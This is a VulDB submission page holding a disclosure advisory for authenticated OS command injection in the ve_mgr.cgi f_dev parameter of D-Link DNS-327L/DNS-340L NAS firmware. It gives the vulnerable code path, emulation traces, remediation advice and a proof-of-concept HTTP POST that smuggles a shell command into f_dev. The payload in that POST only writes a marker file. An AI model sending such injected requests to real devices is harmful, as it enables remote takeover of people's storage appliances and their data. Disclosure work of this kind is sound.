제출 #894209: D-Link DNS-327L/DNS-340L ShareCenter confirmed ShareCenter firmware builds OS Command Injection

D-Link DNS-327L/DNS-340L ve_mgr.cgi OS command injection

## 2. Vulnerability Summary

- **Internal Tracking ID:** DLINK-CMD-004
- **Vulnerability Class:** CWE-78
- **Vulnerability Type:** OS Command Injection
- **Severity:** 8.8 (High)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Authenticated web-management access required
- **Verification Status:** CONFIRMED
- **Verification Evidence:** runtime/QEMU marker evidence + duplicate checks in D-Link evidence package

## 3. Affected Vendor / Product

- **Vendor:** D-Link
- **Product:** DNS-327L/DNS-340L ShareCenter
- **Affected Version / Firmware:** confirmed ShareCenter firmware builds
- **Affected Component:** cgi/backup_mgr/ve_mgr.cgi
- **Architecture:** ARM EABI5 little-endian

## 4. Description

The `ve_mgr.cgi` CGI handler implements the Volume Encryption management workflow. In the `cgi_VE_PWD_Check` branch, the HTTP POST parameter `f_dev` is concatenated into a shell command that pipes the supplied password to `cryptsetup`:

```text
echo "<f_pwd>\n" | cryptsetup -q luksChangeKey <f_dev>
```

The command is executed through `/bin/sh -c`. Because `f_dev` is not shell-metacharacter neutralized before being appended to the command line, an authenticated web attacker can inject shell metacharacters and execute arbitrary commands as the CGI process user.

The vulnerable path is reachable from the authenticated Volume Encryption UI. `hd_veDiag.js` sends POST requests to `/cgi-bin/ve_mgr.cgi` with `cmd=cgi_VE_PWD_Check`, `f_dev`, and `f_pwd` before mount and modify operations.

## 5. Technical Details

Runtime summary:

| Firmware | Binary SHA1 | Marker hits | Controlled shell traces |
| ---------------- | ---------------------------------------- | ----------- | ----------------------- |
| DNS-327L 1.10B02 | 1fb0d79c943d90d366fddcd55517c24ffda0f93c | 1 | 3 |
| DNS-340L 1.01B04 | 01f936a2badbed4cf55be6ab05f9c6458d016f08 | 1 | 3 |

Representative qemu strace evidence:

DNS-327L 1.10B02:

```text
execve("/bin/sh",{"sh","-c","echo "firmrecpass
" | cryptsetup -q luksChangeKey a2;echo FIRMREC_DNS327L_110B02_VE_MGR_20260526_pwd_dev > /tmp/FIRMREC_DNS327L_110B02_VE_MGR_20260526_pwd_dev.hit;#",NULL})
```

DNS-340L 1.01B04:

```text
execve("/bin/sh",{"sh","-c","echo "firmrecpass
" | cryptsetup -q luksChangeKey a2;echo FIRMREC_DNS340L_101B04_VE_MGR_20260526_pwd_dev > /tmp/FIRMREC_DNS340L_101B04_VE_MGR_20260526_pwd_dev.hit;#",NULL})
```

The temporary qemu sysroots contained the marker files:

```text
FIRMREC_DNS327L_110B02_VE_MGR_20260526_pwd_dev.hit
FIRMREC_DNS340L_101B04_VE_MGR_20260526_pwd_dev.hit
```

The verifier repairs runtime symlink placeholders in temporary sysroots only, including busybox applet links and libc soname links, before running direct CGI POST probes under `qemu-arm-static`.

## 6. Proof of Concept / Reproduction

Low-impact marker example:

```http
POST /cgi-bin/ve_mgr.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_VE_PWD_Check&f_dev=a2;touch /tmp/DLINK_CMD_004_ve_dev.hit;#&f_pwd=firmrecpass
```

## 7. Security Impact

Successful exploitation allows authenticated remote command execution on the NAS appliance. The attacker can run arbitrary shell commands, alter device state, access stored data, or disrupt storage services.

This draft is limited to the two firmware images where runtime marker files were created from the `f_dev` parameter. DNS-320L 1.10B03 and DNS-345 1.01 / 1.03B06 / 1.04.B02 / 1.05b04 HOTFIX were also tested, but they did not produce controlled marker files or unescaped controlled shell command lines for this VE branch and are not included as confirmed affected.

## 8. Remediation Recommendation

1. Replace shell-based command construction with argument-vector APIs such as `execve()` that do not invoke `/bin/sh`.
2. Treat `f_dev` as a device identifier, not a shell fragment; enforce a strict allowlist such as expected volume/device names only.
3. Reject shell metacharacters, command substitutions, whitespace, path traversal, and unexpected separators in Volume Encryption parameters.
4. Add server-side authorization and CSRF protections for Volume Encryption management actions.

• 원천: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-004-vulndb.md
• 사용자: ST4R0001 (UID 99565)
• 제출: 2026. 07. 17. PM 06:31 (1 월 ago)
• 모더레이션: 2026. 08. 30. PM 07:35 (1 month later)
• 상태: 수락
• VulDB 항목: 397178 [D-Link DNS-327L/DNS-340L 까지 20260717 /cgi-bin/ve_mgr.cgi f_dev 권한 상승]
• 포인트들: 20